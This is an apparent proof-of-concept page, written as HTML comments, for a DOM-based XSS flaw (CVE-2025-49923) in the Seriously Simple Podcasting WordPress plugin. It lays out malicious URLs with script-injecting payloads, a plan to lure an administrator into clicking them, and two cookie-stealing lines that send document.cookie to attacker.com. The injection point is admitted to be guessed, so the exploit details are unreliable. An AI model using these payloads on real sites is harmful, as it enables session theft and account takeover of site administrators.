CVE-2025-49923：Seriously Simple Podcasting插件DOM型XSS漏洞

<!-- PoC for CVE-2025-49923: DOM-Based XSS in Seriously Simple Podcasting Plugin --> <!-- This PoC demonstrates how an attacker with high privileges could exploit the vulnerability --> <!-- Step 1: Attacker (with at least subscriber/author role) crafts a malicious URL --> <!-- The malicious payload is injected into a DOM source (e.g., URL fragment or parameter) --> <!-- that the plugin's JavaScript reads without proper sanitization --> <!-- Example malicious URL structure: --> <!-- https://target-wordpress-site.com/podcast-page/?player_param=<img src=x onerror=alert(document.cookie)> --> <!-- OR using location.hash: --> <!-- https://target-wordpress-site.com/podcast-page/#<img src=x onerror=alert(document.cookie)> --> <!-- Step 2: The attacker sends this URL to the victim (e.g., admin or editor) --> <!-- via email, comment, or any social engineering method --> <!-- Step 3: When the victim (authenticated with WordPress) clicks the link, --> <!-- the plugin's vulnerable JavaScript reads the unsanitized input from the DOM --> <!-- and injects it into the page, executing the attacker's payload --> <!-- Step 4: The malicious script executes in the victim's browser context, --> <!-- potentially stealing cookies, session tokens, or performing actions as the victim --> <!-- Example payload variations: --> <!-- Cookie stealing: --> <!-- <script>document.location='https://attacker.com/steal?c='+document.cookie</script> --> <!-- Session hijacking: --> <!-- <img src=x onerror="fetch('https://attacker.com/log',{method:'POST',body:document.cookie})"> --> <!-- Note: The exact injection point depends on which DOM source the plugin uses. --> <!-- Common vulnerable patterns include location.search, location.hash, document.referrer, --> <!-- or window.name being passed to innerHTML/document.write without sanitization. -->